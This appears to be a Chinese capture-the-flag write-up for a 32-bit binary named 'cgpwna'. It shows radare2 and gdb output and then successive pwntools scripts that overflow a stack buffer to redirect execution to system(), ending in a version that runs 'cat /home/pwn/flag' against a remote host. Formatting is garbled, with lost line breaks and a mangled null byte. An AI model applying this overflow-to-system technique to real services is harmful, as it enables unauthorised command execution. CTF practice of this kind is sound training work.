《从入门到秃头之PWN蛇皮走位》

cat /home/pwn/flag

->r2 cgpwna┌─[kxh@parrot]─[~/Documents]└──╼ $r2 cgpwna[0x08048420]> aaa[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Check for objc references[x] Check for vtables[x] Type matching analysis for all functions (aaft)[x] Propagate noreturn information[x] Use -AA or aaaa to perform additional experimental analysis.[0x08048420]> afl0x08048420    1 33           entry00x08048410    1 6            sym.imp.__libc_start_main0x08048460    4 42           sym.deregister_tm_clones0x08048490    4 55           sym.register_tm_clones0x080484d0    3 30           entry.fini00x080484f0    4 45   -> 44   entry.init00x080486e0    1 2            sym.__libc_csu_fini0x0804851d    1 20           sym.pwnme0x080483f0    1 6            sym.imp.system0x08048569    1 113          sym.message0x080483e0    1 6            sym.imp.puts0x080483d0    1 6            sym.imp.fgets0x08048450    1 4            sym.__x86.get_pc_thunk.bx0x08048531    1 56           sym.menu0x080486e4    1 20           sym._fini0x08048670    4 97           sym.__libc_csu_init0x080485da    5 145          main0x080483c0    1 6            sym.imp.setbuf0x08048384    3 35           sym._init0x08048400    1 6            loc.imp.__gmon_start[0x08048420]>s main        //或者自己想要获取的函数[0x08048420]>VV

┌─[kxh@parrot]─[~/Documents]└──╼ $gdb cgpwna GNU gdb (Debian 8.3.1-1) 8.3.1Copyright (C) 2019 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".Type "apropos word" to search for commands related to "word"...pwndbg: loaded 181 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from cgpwna...(No debugging symbols found in cgpwna)pwndbg> b mainBreakpoint 1 at 0x80485ddpwndbg> r

from pwn import *
offset=0xffffd26c-0xffffd238k=process('./cgpwna')k.recvline('your choice:')sleep(1)k.sendline('1')sleep(1)k.recvline('you can leave some message here:')k.sendline('a'*57)sleep(1)k.recvline('your name please:')k.sendline('1'*offset+p32(0x804851d))k.interactive()

from pwn import *
offset=0xffffd26c-0xffffd238k=process('./cgpwna')k.recvline('your choice:')sleep(1)k.sendline('1')sleep(1)k.recvline('you can leave some message here:')k.sendline('a'*57)sleep(1)raw_input()                 #添加调试点k.recvline('your name please:')k.sendline('1'*offset+p32(0x804851d))k.interactive()

from pwn import *
offset=0xffffd26c-0xffffd238k=process('./cgpwna')k.recvline('your choice:')sleep(1)k.sendline('1')sleep(1)k.recvline('you can leave some message here:')k.sendline('ls'+'x00'+'a'*(57-2-4))sleep(1)raw_input()                 #添加调试点k.recvline('your name please:')k.sendline('1'*offset+p32(0x804852a)+p32(0x804a080))k.interactive()

from pwn import *
offset=0xffffd26c-0xffffd238k=remote('182.254.217.142',10001)k.recvline('your choice:')sleep(1)k.sendline('1')sleep(1)k.recvline('you can leave some message here:')k.sendline('cat /home/pwn/flag'+'x00'+'a'*(57-18-4))sleep(1)k.recvline('your name please:')k.sendline('1'*offset+p32(0x804852a)+p32(0x804a080))k.interactive()